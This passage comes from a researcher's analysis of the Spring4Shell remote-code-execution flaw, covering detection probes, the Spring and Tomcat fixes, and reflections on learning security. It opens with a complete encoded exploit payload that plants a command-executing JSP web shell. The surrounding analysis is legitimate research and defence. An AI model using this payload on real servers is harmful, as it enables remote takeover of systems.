class.module.classLoader.resources.context.parent.pipeline.first.pattern=%24%7b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%2c%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%70%61%72%61%6d%2e%63%6d%64%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%3b%54%68%72%65%61%64%2e%73%6c%65%65%70%28%31%30%30%30%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%29%2e%61%76%61%69%6c%61%62%6c%65%28%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%42%75%66%66%65%72%43%6c%61%73%73%22%2c%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6e%69%6f%2e%42%79%74%65%42%75%66%66%65%72%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%61%6c%6c%6f%63%61%74%65%4d%65%74%68%6f%64%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%42%75%66%66%65%72%43%6c%61%73%73%22%29%2e%67%65%74%4d%65%74%68%6f%64%28%22%61%6c%6c%6f%63%61%74%65%22%2c%20%49%6e%74%65%67%65%72%2e%54%59%50%45%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%61%6c%6c%6f%63%61%74%65%4d%65%74%68%6f%64%22%29%2e%69%6e%76%6f%6b%65%28%6e%75%6c%6c%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%22%29%2e%72%65%61%64%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%2c%20%30%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%69%6e%70%75%74%53%74%72%65%61%6d%41%76%61%69%6c%61%62%6c%65%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%41%72%72%54%79%70%65%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%2e%67%65%74%43%6c%61%73%73%28%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6c%61%73%73%22%2c%20%43%6c%61%73%73%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6c%61%6e%67%2e%53%74%72%69%6e%67%22%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6f%6e%73%74%72%75%63%74%6f%72%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6c%61%73%73%22%29%2e%67%65%74%43%6f%6e%73%74%72%75%63%74%6f%72%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%62%79%74%65%41%72%72%54%79%70%65%22%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%52%65%73%22%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%43%6f%6e%73%74%72%75%63%74%6f%72%22%29%2e%6e%65%77%49%6e%73%74%61%6e%63%65%28%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%68%65%61%70%42%79%74%65%42%75%66%66%65%72%22%29%2e%61%72%72%61%79%28%29%29%29%3b%70%61%67%65%43%6f%6e%74%65%78%74%2e%67%65%74%41%74%74%72%69%62%75%74%65%28%22%73%74%72%69%6e%67%52%65%73%22%29%7d
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1

Then request any URL. The file webapps/ROOT/shell1.jsp is created under the root directory.

16.png

I believe other exploitation paths may exist, possibly involving EL expressions and particular properties, but they require further research.

The official remediation guidance is detailed; see:

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

Some researchers have proposed harmless detection methods. One is setting the cookie path through class.module.classLoader.resources.context.sessionCookiePath=/AAA and observing the site's path. But this still affects the site, and restoring it to / may not restore the original value. Another sets class.module.classLoader.DefaultAssertionStatus=x: values 0 and 1 behave normally, while others return 400, indicating vulnerability. That is better, but useless if errors are normalized. Better non-invasive probes remain worth researching.

0x04 Fix

As with CVE-2010-1622, both Spring and Tomcat fixed this vulnerability.

Tomcat changed the resources accessor to return null, preventing access-log configuration from being modified through resources:

17.png

Spring's fix is stricter. It checks the supplied property: first, only properties named name and ending with Name are allowed; second, the return type must not be ClassLoader or a subclass of ClassLoader.

18.png

If a bypass exists, I suspect it would resembleJava Sandbox Escapeapproach, using type confusion to bypass the restriction. However, finding an exploitable property named name and ending in Name, whose value can be forcibly converted, is difficult.

0x05 Closing Notes

Let us finally return to the three opening questions and how to address them.

First, weak fundamentals. "Fundamentals" is a broad and relative term. Computer science may be advanced knowledge to someone outside the field but foundational to a computer-science graduate. Learning data structures, networks, and operating systems cannot magically supply every foundation for every task, although those subjects remain important. What should you learn? Start from the work you are doing. For ordinary code auditing, fundamentals include vulnerability principles, common audit workflows, and techniques for combining vulnerabilities. For framework security, they include the framework's distinctive mechanisms and implementations, the bugs or unexpected behavior those mechanisms may cause—as revealed by issues and release notes—its data flow, and basic usage. Analyzing the underlying framework implementation may require all of the above.The harder a task is, the stronger the foundations it requires.

Second, insufficient accumulation. Accumulation can be as small as recording a useful tip or as large as writing a book. For me, it often means analyzing and documenting current vulnerabilities, which is why I wrote another Spring Framework RCE analysis after many had already appeared. Other people's writing becomes yours only after you absorb it. Writing your own account often exposes insights not stated explicitly and can inspire new ideas. While analyzing the Spring Cloud Gateway vulnerability, this method led me independently to Spring Cloud Function CVE-2022-22963, although someone else reported it too. People who do not keep records can easily miss such connections.The faintest ink is better than the best memory.

Third, breadth of knowledge. You cannot know how much of the security landscape your knowledge covers, so external input is necessary: experienced people can suggest what to learn, and observing what others know or are studying reveals gaps in your own understanding.Communication is a fast way to improve and discover one's weaknesses.

There is no instant solution. These three issues improve over time, especially through active study. As long as life continues, learning should continue too.

I wrote this article both to summarize the vulnerability and to share broader reflections prompted by it. I welcome discussion and correction.

Finally, thanks to Meizi and Biaoge for their guidance.

0x06 References

https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement

https://segmentfault.com/a/1190000014833730

https://www.liaoxuefeng.com/wiki/1252599548343744/1260474416351680

https://juejin.cn/post/6900011887568617485

https://www.jianshu.com/p/6eba6f6a293d

[Spring IoC Container Source Analysis: Populating Properties into the Raw Bean Object](https://www.redoc.top/article/178/Spring IoC Container Source Analysis—Populating Properties into the Raw Bean Object)

https://www.cnblogs.com/peida/archive/2013/06/03/3090842.html

http://rui0.cn/archives/1158

===========================================

Update (April 22, 2022)

A researcher emailed me about a problem in the article. I had written that property assignment ultimately used Array.set, but they pointed out:

This appears to supplement certain types. During exploitation, however, the selected path is class.module.classLoader.resources.context.parent.pipeline.first, whose corresponding class is org.apache.catalina.valves.AccessLogValve. Most of its properties are String values and have setters.

buchong.png

This confirms that introspection recursively locates the final property—even if earlier properties have no setter.

The final assignment still uses reflection to invoke the setter.

After reconsidering, I believe the researcher is correct. I am adding this correction to avoid misleading readers and apologize for the oversight.